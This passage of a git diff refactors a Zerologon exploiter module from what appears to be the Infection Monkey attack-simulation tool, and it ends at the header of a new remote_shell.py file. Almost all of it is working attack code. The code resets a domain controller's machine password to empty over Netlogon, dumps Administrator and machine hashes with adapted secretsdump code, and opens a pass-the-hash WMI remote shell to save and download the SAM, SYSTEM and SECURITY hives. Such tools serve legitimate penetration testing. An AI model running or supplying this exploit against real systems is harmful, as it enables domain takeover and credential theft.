system are assigned in a copy in get_original_pwd_nthash() - 'target': '', - 'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes() - 'ts': False, - 'use_vss': False, - 'user_status': False - } + ERROR_CODE_ACCESS_DENIED = 0xc0000022 - def __init__(self, host): + def __init__(self, host: object): super().__init__(host) self.vulnerable_port = None self.zerologon_finger = ZerologonFinger() self.exploit_info['credentials'] = {} - def _exploit_host(self): + def _exploit_host(self) -> Optional[bool]: self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") # Connect to the DC's Netlogon service. - rpc_con = self.connect_to_dc() + try: + rpc_con = self.connect_to_dc() + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. @@ -113,7 +62,7 @@ class ZerologonExploiter(HostExploiter): except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. - if e.get_error_code() != 0xc0000022: + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") except BaseException as e: LOG.info(f"Unexpected error: {e}") @@ -121,18 +70,15 @@ class ZerologonExploiter(HostExploiter): if result is not None: break - self.report_login_attempt(result=False, - user=self.dc_name) - if result['ErrorCode'] == 0: - self.report_login_attempt(result=True, - user=self.dc_name) + self.report_login_attempt(result=True, user=self.dc_name) + _exploited = True LOG.info("Exploit complete!") else: + self.report_login_attempt(result=False, user=self.dc_name) + _exploited = False LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") - _exploited = True - else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") _exploited = False @@ -148,10 +94,10 @@ class ZerologonExploiter(HostExploiter): return _exploited - def is_exploitable(self): + def is_exploitable(self) -> bool: return self.zerologon_finger.get_host_fingerprint(self.host) - def connect_to_dc(self): + def connect_to_dc(self) -> object: binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() @@ -159,20 +105,26 @@ class ZerologonExploiter(HostExploiter): rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con - def attempt_exploit(self, rpc_con): + def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() + ZerologonExploiter._set_up_request(request, self.dc_name) request['PrimaryName'] = self.dc_handle + '\x00' - request['AccountName'] = self.dc_name + '$\x00' - request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - authenticator = nrpc.NETLOGON_AUTHENTICATOR() - authenticator['Credential'] = b'\x00' * 8 - authenticator['Timestamp'] = 0 - request['Authenticator'] = authenticator - request['ComputerName'] = self.dc_name + '\x00' request['ClearNewPassword'] = b'\x00' * 516 + return rpc_con.request(request) - def restore_password(self): + @staticmethod + def _set_up_request(request: object, dc_name: str) -> None: + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator['Credential'] = b'\x00' * 8 + authenticator['Timestamp'] = b'\x00' * 4 + + request['AccountName'] = dc_name + '$\x00' + request['ComputerName'] = dc_name + '\x00' + request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + request['Authenticator'] = authenticator + + def restore_password(self) -> Optional[bool]: LOG.info("Restoring original password...") LOG.debug("DCSync; getting admin password's hashes.") @@ -187,6 +139,8 @@ class ZerologonExploiter(HostExploiter): if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's nthash.") + self.remove_locally_saved_HKLM_keys() + # Keep authenticating until successful. LOG.debug("Attempting password restoration.") for _ in range(0, self.MAX_ATTEMPTS): @@ -203,24 +157,42 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.error(e) - def get_admin_pwd_hashes(self): - options = self.OPTIONS_FOR_SECRETSDUMP.copy() - options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0" - options['target_ip'] = self.dc_ip - options['dc_ip'] = self.dc_ip + def get_admin_pwd_hashes(self) -> str: + options = OptionsForSecretsdump( + target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" + target_ip=self.dc_ip, + dc_ip=self.dc_ip + ) + + dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip, + username=f"{self.dc_name}$", + options=options) - dumped_secrets = self.get_dumped_secrets(options=options, - remote_name=self.dc_ip, - username=f"{self.dc_name}$") user = 'Administrator' - for secret in dumped_secrets: - if user in secret: - hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" - self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) - self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1]) - return ':'.join(hashes) # format - "lmhash:nthash" + hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) + self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) + return ':'.join(hashes) # format - "lmhash:nthash" - def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash): + def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]: + dumper = DumpSecrets(remote_name=remote_name, + username=username, + options=options) + dumped_secrets = dumper.dump().split('\n') + return dumped_secrets + + @staticmethod + def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]: + for secret in secrets: + if user in secret: + # format of secret - "domain\uid:rid:lmhash:nthash:::" + hashes = secret.split(':')[2:4] + return hashes # format - [lmhash, nthash] + + def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None: + self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) + self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1]) + + def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info['credentials'].update({ user: { 'username': user, @@ -230,7 +202,8 @@ class ZerologonExploiter(HostExploiter): } }) - def add_extracted_creds_to_monkey_config(self, user, lmhash, nthash): # so other exploiters can use these creds + # so other exploiters can use these creds + def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None: if user not in self._config.exploit_user_list: self._config.exploit_user_list.append(user) @@ -240,29 +213,34 @@ class ZerologonExploiter(HostExploiter): if nthash not in self._config.exploit_ntlm_hash_list: self._config.exploit_ntlm_hash_list.append(nthash) - def get_original_pwd_nthash(self, admin_pwd_hashes): + def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str: if not self.save_HKLM_keys_locally(admin_pwd_hashes): return - options = self.OPTIONS_FOR_SECRETSDUMP.copy() - for name in ['system', 'sam', 'security']: - options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') - options['dc_ip'] = self.dc_ip - options['just_dc'] = False + options = OptionsForSecretsdump( + dc_ip=self.dc_ip, + just_dc=False, + system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'), + sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'), + security=os.path.join(os.path.expanduser('~'), 'monkey-security.save') + ) - dumped_secrets = self.get_dumped_secrets(options=options, - remote_name='LOCAL') + dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', + options=options) for secret in dumped_secrets: if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" nthash = secret.split(':')[2] return nthash - def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''): - dumper = DumpSecrets(remote_name, username, password, domain, options) - dumped_secrets = dumper.dump().split('\n') - return dumped_secrets + def remove_locally_saved_HKLM_keys(self) -> None: + for name in ['system', 'sam', 'security']: + path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + try: + os.remove(path) + except Exception as e: + LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") - def save_HKLM_keys_locally(self, admin_pwd_hashes): + def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool: LOG.debug("Starting remote shell on victim.") wmiexec = Wmiexec(ip=self.dc_ip, @@ -272,7 +250,9 @@ class ZerologonExploiter(HostExploiter): remote_shell = wmiexec.get_remote_shell() if remote_shell: - _set_stdout_to_in_memory_text_stream() + _orig_stdout = sys.stdout + _new_stdout = io.StringIO() + sys.stdout = _new_stdout try: # Save HKLM keys on victim. @@ -286,7 +266,8 @@ class ZerologonExploiter(HostExploiter): remote_shell.onecmd('get security.save') # Delete saved keys on victim. - remote_shell.onecmd('del /f system.save sam.save security.save') + remote_shell.onecmd( + 'del /f system.save sam.save security.save') wmiexec.close() @@ -296,15 +277,24 @@ class ZerologonExploiter(HostExploiter): LOG.info(f"Exception occured: {str(e)}") finally: - info = _unset_stdout_and_return_captured() + sys.stdout = _orig_stdout + _new_stdout.seek(0) + info = _new_stdout.read() + LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") else: raise Exception("Could not start remote shell on DC.") - def attempt_restoration(self, original_pwd_nthash): + return False + + def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]: # Connect to the DC's Netlogon service. - rpc_con = self.connect_to_dc() + try: + rpc_con = self.connect_to_dc() + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return plaintext = b'\x00'*8 ciphertext = b'\x00'*8 @@ -322,28 +312,22 @@ class ZerologonExploiter(HostExploiter): self.dc_name + '\x00', ciphertext, flags ) - # It worked! assert server_auth['ErrorCode'] == 0 - # server_auth.dump() session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) try: - authenticator = nrpc.NETLOGON_AUTHENTICATOR() - authenticator['Credential'] = ciphertext - authenticator['Timestamp'] = b"\x00" * 4 - nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse - nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) + nrpc.OPNUMS[6] = (NetrServerPasswordSet, + nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() + ZerologonExploiter._set_up_request(request, self.dc_name) request['PrimaryName'] = NULL - request['AccountName'] = self.dc_name + '$\x00' - request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - request['ComputerName'] = self.dc_name + '\x00' - request["Authenticator"] = authenticator - pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) + pwd_data = impacket.crypto.SamEncryptNTLMHash( + unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data + rpc_con.request(request) except Exception as e: @@ -353,7 +337,7 @@ class ZerologonExploiter(HostExploiter): except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working. - if e.get_error_code() == 0xc0000022: + if e.get_error_code() == self.ERROR_CODE_ACCESS_DENIED: return None else: LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") @@ -379,365 +363,3 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL): ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode', nrpc.NTSTATUS), ) - - -# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py -# Used to get Administrator and original DC passwords' hashes -class DumpSecrets: - def __init__(self, remote_name, username='', password='', domain='', options=None): - self.__use_VSS_method = options['use_vss'] - self.__remote_name = remote_name - self.__remote_host = options['target_ip'] - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aes_key = options['aes_key'] - self.__smb_connection = None - self.__remote_ops = None - self.__SAM_hashes = None - self.__NTDS_hashes = None - self.__LSA_secrets = None - self.__system_hive = options['system'] - self.__bootkey = options['bootkey'] - self.__security_hive = options['security'] - self.__sam_hive = options['sam'] - self.__ntds_file = options['ntds'] - self.__history = options['history'] - self.__no_lmhash = options['no_lmhash'] - self.__is_remote = options['is_remote'] - self.__output_file_name = options['outputfile'] - self.__do_kerberos = options['k'] - self.__just_DC = options['just_dc'] - self.__just_DC_NTLM = options['just_dc_ntlm'] - self.__just_user = options['just_dc_user'] - self.__pwd_last_set = options['pwd_last_set'] - self.__print_user_status = options['user_status'] - self.__resume_file_name = options['resumefile'] - self.__can_process_SAM_LSA = options['can_process_SAM_LSA'] - self.__kdc_host = options['dc_ip'] - self.__options = options - - if options['hashes'] is not None: - self.__lmhash, self.__nthash = options['hashes'].split(':') - - def connect(self): - self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) - self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - - def dump(self): - _set_stdout_to_in_memory_text_stream() - dumped_secrets = '' - - try: - if self.__remote_name.upper() == 'LOCAL' and self.__username == '': - self.__is_remote = False - self.__use_VSS_method = True - if self.__system_hive: - local_operations = LocalOperations(self.__system_hive) - bootkey = local_operations.getBootKey() - if self.__ntds_file is not None: - # Let's grab target's configuration about LM Hashes storage. - self.__no_lmhash = local_operations.checkNoLMHashPolicy() - else: - import binascii - bootkey = binascii.unhexlify(self.__bootkey) - - else: - self.__is_remote = True - bootkey = None - try: - try: - self.connect() - except Exception as e: - if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: - # SMBConnection failed. That might be because there was no way to log into the - # target system. We just have a last resort. Hope we have tickets cached and that they - # will work - LOG.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) - pass - else: - raise - - self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host) - self.__remote_ops.setExecMethod(self.__options['exec_method']) - if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: - self.__remote_ops.enableRegistry() - bootkey = self.__remote_ops.getBootKey() - # Let's check whether target system stores LM Hashes. - self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() - except Exception as e: - self.__can_process_SAM_LSA = False - if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ - and self.__do_kerberos is True: - # Giving some hints here when SPN target name validation is set to something different to Off. - # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. - LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + - 'Try -just-dc-user') - else: - LOG.error('RemoteOperations failed: %s' % str(e)) - - # If RemoteOperations succeeded, then we can extract SAM and LSA. - if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: - try: - if self.__is_remote is True: - SAM_file_name = self.__remote_ops.saveSAM() - else: - SAM_file_name = self.__sam_hive - - self.__SAM_hashes = SAMHashes(SAM_file_name, bootkey, isRemote=self.__is_remote) - self.__SAM_hashes.dump() - if self.__output_file_name is not None: - self.__SAM_hashes.export(self.__output_file_name) - except Exception as e: - LOG.error('SAM hashes extraction failed: %s' % str(e)) - - try: - if self.__is_remote is True: - SECURITY_file_name = self.__remote_ops.saveSECURITY() - else: - SECURITY_file_name = self.__security_hive - - self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, - isRemote=self.__is_remote, history=self.__history) - self.__LSA_secrets.dumpCachedHashes() - if self.__output_file_name is not None: - self.__LSA_secrets.exportCached(self.__output_file_name) - self.__LSA_secrets.dumpSecrets() - if self.__output_file_name is not None: - self.__LSA_secrets.exportSecrets(self.__output_file_name) - except Exception as e: - LOG.debug(traceback.print_exc()) - LOG.error('LSA hashes extraction failed: %s' % str(e)) - - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. - if self.__is_remote is True: - if self.__use_VSS_method and self.__remote_ops is not None: - NTDS_file_name = self.__remote_ops.saveNTDS() - else: - NTDS_file_name = None - else: - NTDS_file_name = self.__ntds_file - - self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history, - noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, - useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, - pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name, - outputFileName=self.__output_file_name, justUser=self.__just_user, - printUserStatus=self.__print_user_status) - try: - self.__NTDS_hashes.dump() - except Exception as e: - LOG.debug(traceback.print_exc()) - if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: - # We don't store the resume file if this error happened, since this error is related to lack - # of enough privileges to access DRSUAPI. - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) - LOG.error(e) - if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: - LOG.error("You just got that error because there might be some duplicates of the same name. " - "Try specifying the domain name for the user as well. It is important to specify it " - "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") - elif self.__use_VSS_method is False: - LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') - self.cleanup() - except (Exception, KeyboardInterrupt) as e: - LOG.debug(traceback.print_exc()) - LOG.error(e) - if self.__NTDS_hashes is not None: - if isinstance(e, KeyboardInterrupt): - resume_file = self.__NTDS_hashes.getResumeSessionFile() - if resume_file is not None: - os.unlink(resume_file) - try: - self.cleanup() - except Exception: - pass - finally: - dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys - return dumped_secrets - - def cleanup(self): - LOG.debug('Cleaning up...') - if self.__remote_ops: - self.__remote_ops.finish() - if self.__SAM_hashes: - self.__SAM_hashes.finish() - if self.__LSA_secrets: - self.__LSA_secrets.finish() - if self.__NTDS_hashes: - self.__NTDS_hashes.finish() - - -# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py -# Used to get HKLM keys for restoring original DC password -class Wmiexec: - OUTPUT_FILENAME = '__' + str(time.time()) - - def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'): - self.__ip = ip - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash, self.__nthash = hashes.split(':') - self.__share = share - self.shell = None - - def connect(self): - self.smbConnection = SMBConnection(self.__ip, self.__ip) - self.smbConnection.login(user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash) - - self.dcom = DCOMConnection(target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True) - - try: - iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) - iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) - iWbemLevel1Login.RemRelease() - - except (Exception, KeyboardInterrupt) as e: - LOG.error(str(e)) - self.smbConnection.logoff() - self.dcom.disconnect() - - def get_remote_shell(self): - self.connect() - win32Process, _ = self.iWbemServices.GetObject('Win32_Process') - self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME) - return self.shell - - def close(self): - self.smbConnection.close() - self.smbConnection = None - self.dcom.disconnect() - self.dcom = None - - -# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py -# Used to start remote shell on victim -class RemoteShell(cmd.Cmd): - CODEC = sys.stdout.encoding - - def __init__(self, share, win32Process, smbConnection, outputFilename): - cmd.Cmd.__init__(self) - self.__share = share - self.__output = '\\' + outputFilename - self.__outputBuffer = str('') - self.__shell = 'cmd.exe /Q /c ' - self.__win32Process = win32Process - self.__transferClient = smbConnection - self.__pwd = str('C:\\') - self.__noOutput = False - - # We don't wanna deal with timeouts from now on. - if self.__transferClient is not None: - self.__transferClient.setTimeout(100000) - self.do_cd('\\') - else: - self.__noOutput = True - - def do_get(self, src_path): - try: - import ntpath - newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) - drive, tail = ntpath.splitdrive(newPath) - filename = ntpath.basename(tail) - local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename) - fh = open(local_file_path, 'wb') - LOG.info("Downloading %s\\%s" % (drive, tail)) - self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) - fh.close() - except Exception as e: - LOG.error(str(e)) - if os.path.exists(local_file_path): - os.remove(local_file_path) - - def do_exit(self, s): - return True - - def do_cd(self, s): - self.execute_remote('cd ' + s) - if len(self.__outputBuffer.strip('\r\n')) > 0: - print(self.__outputBuffer) - self.__outputBuffer = '' - else: - self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' - - def default(self, line): - # Let's try to guess if the user is trying to change drive. - if len(line) == 2 and line[1] == ':': - # Execute the command and see if the drive is valid. - self.execute_remote(line) - if len(self.__outputBuffer.strip('\r\n')) > 0: - # Something went wrong. - print(self.__outputBuffer) - self.__outputBuffer = '' - else: - # Drive valid, now we should get the current path. - self.__pwd = line - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' - else: - if line != '': - self.send_data(line) - - def get_output(self): - def output_callback(data): - try: - self.__outputBuffer += data.decode(self.CODEC) - except UnicodeDecodeError: - LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' - 'again with -codec and the corresponding codec') - self.__outputBuffer += data.decode(self.CODEC, errors='replace') - - if self.__noOutput is True: - self.__outputBuffer = '' - return - - while True: - try: - self.__transferClient.getFile(self.__share, self.__output, output_callback) - break - except Exception as e: - if str(e).find('STATUS_SHARING_VIOLATION') >= 0: - # Output not finished, let's wait. - time.sleep(1) - pass - elif str(e).find('Broken') >= 0: - # The SMB Connection might have timed out, let's try reconnecting. - LOG.debug('Connection broken, trying to recreate it') - self.__transferClient.reconnect() - return self.get_output() - self.__transferClient.deleteFile(self.__share, self.__output) - - def execute_remote(self, data): - command = self.__shell + data - if self.__noOutput is False: - command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' - self.__win32Process.Create(command, self.__pwd, None) - self.get_output() - - def send_data(self, data): - self.execute_remote(data) - print(self.__outputBuffer) - self.__outputBuffer = '' diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py new file mode 100644 index 000000000..19667a7da --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -0,0 +1,193 @@ +import io +import logging +import os +import sys +import traceback + +from impacket.examples.secretsdump import (LocalOperations, LSASecrets, + NTDSHashes, RemoteOperations, + SAMHashes) +from impacket.smbconnection import SMBConnection + +LOG = logging.getLogger(__name__) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py +# Used to get Administrator and original DC passwords' hashes +class DumpSecrets: + def __init__(self, remote_name, username='', password='', domain='', options=None): + self.__use_VSS_method = options.use_vss + self.__remote_name = remote_name + self.__remote_host = options.target_ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__smb_connection = None + self.__remote_ops = None + self.__SAM_hashes = None + self.__NTDS_hashes = None + self.__LSA_secrets = None + self.__system_hive = options.system + self.__bootkey = options.bootkey + self.__security_hive = options.security + self.__sam_hive = options.sam + self.__ntds_file = options.ntds + self.__no_lmhash = options.no_lmhash + self.__is_remote = options.is_remote + self.__do_kerberos = options.k + self.__just_DC = options.just_dc + self.__just_DC_NTLM = options.just_dc_ntlm + self.__can_process_SAM_LSA = options.can_process_SAM_LSA + self.__kdc_host = options.dc_ip + self.__options = options + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self): + self.__smb_connection = SMBConnection( + self.__remote_name, self.__remote_host) + self.__smb_connection.login( + self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def dump(self): + _orig_stdout = sys.stdout + _new_stdout = io.StringIO() + sys.stdout = _new_stdout + dumped_secrets = '' + + try: + if self.__remote_name.upper() == 'LOCAL' and self.__username == '': + self.__is_remote = False + self.__use_VSS_method = True + if self.__system_hive: + local_operations = LocalOperations(self.__system_hive) + bootkey = local_operations.getBootKey() + if self.__ntds_file is not None: + # Let's grab target's configuration about LM Hashes storage. + self.__no_lmhash = local_operations.checkNoLMHashPolicy() + else: + import binascii + bootkey = binascii.unhexlify(self.__bootkey) + + else: + self.__is_remote = True + bootkey = None + try: + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + LOG.debug( + 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + else: + raise + + self.__remote_ops = RemoteOperations( + self.__smb_connection, self.__do_kerberos, self.__kdc_host) + self.__remote_ops.setExecMethod(self.__options.exec_method) + if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + self.__remote_ops.enableRegistry() + bootkey = self.__remote_ops.getBootKey() + # Let's check whether target system stores LM Hashes. + self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() + except Exception as e: + self.__can_process_SAM_LSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__do_kerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off. + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. + LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + + 'Try -just-dc-user') + else: + LOG.error('RemoteOperations failed: %s' % str(e)) + + # If RemoteOperations succeeded, then we can extract SAM and LSA. + if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: + try: + if self.__is_remote is True: + SAM_file_name = self.__remote_ops.saveSAM() + else: + SAM_file_name = self.__sam_hive + + self.__SAM_hashes = SAMHashes( + SAM_file_name, bootkey, isRemote=self.__is_remote) + self.__SAM_hashes.dump() + except Exception as e: + LOG.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__is_remote is True: + SECURITY_file_name = self.__remote_ops.saveSECURITY() + else: + SECURITY_file_name = self.__security_hive + + self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, + isRemote=self.__is_remote) + self.__LSA_secrets.dumpCachedHashes() + self.__LSA_secrets.dumpSecrets() + except Exception as e: + LOG.debug(traceback.print_exc()) + LOG.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. + if self.__is_remote is True: + if self.__use_VSS_method and self.__remote_ops is not None: + NTDS_file_name = self.__remote_ops.saveNTDS() + else: + NTDS_file_name = None + else: + NTDS_file_name = self.__ntds_file + + self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, + noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, + useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, + ) + try: + self.__NTDS_hashes.dump() + except Exception as e: + LOG.debug(traceback.print_exc()) + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + LOG.error(e) + if self.__use_VSS_method is False: + LOG.error( + 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + self.cleanup() + except (Exception, KeyboardInterrupt) as e: + LOG.debug(traceback.print_exc()) + LOG.error(e) + if self.__NTDS_hashes is not None: + if isinstance(e, KeyboardInterrupt): + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + try: + self.cleanup() + except Exception: + pass + finally: + sys.stdout = _orig_stdout + _new_stdout.seek(0) + dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys + return dumped_secrets + + def cleanup(self): + LOG.debug('Cleaning up...') + if self.__remote_ops: + self.__remote_ops.finish() + if self.__SAM_hashes: + self.__SAM_hashes.finish() + if self.__LSA_secrets: + self.__LSA_secrets.finish() + if self.__NTDS_hashes: + self.__NTDS_hashes.finish() diff --git a/monkey/infection_monkey/exploit/zerologon_utils/options.py b/monkey/infection_monkey/exploit/zerologon_utils/options.py new file mode 100644 index 000000000..61aab4440 --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/options.py @@ -0,0 +1,38 @@ +from dataclasses import dataclass + + +@dataclass() +class OptionsForSecretsdump: + bootkey = None + can_process_SAM_LSA = True + dc_ip = None + debug = False + exec_method = 'smbexec' + hashes = None + is_remote = True + just_dc = True + just_dc_ntlm = False + k = False + keytab = None + no_lmhash = True + no_pass = True + ntds = None + sam = None + security = None + system = None + target = None + target_ip = None + ts = False + use_vss = False + + def __init__(self, dc_ip=None, just_dc=True, sam=None, security=None, system=None, target=None, target_ip=None): + # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py + self.dc_ip = dc_ip + # just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py + self.just_dc = just_dc + self.sam = sam + self.security = security + self.system = system + # target and target_ip are assigned in get_admin_pwd_hashes() in ../zerologon.py + self.target = target + self.target_ip = target_ip diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py new file mode 100644 index 000000000..3f3281e9c --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -0,0 +1,127 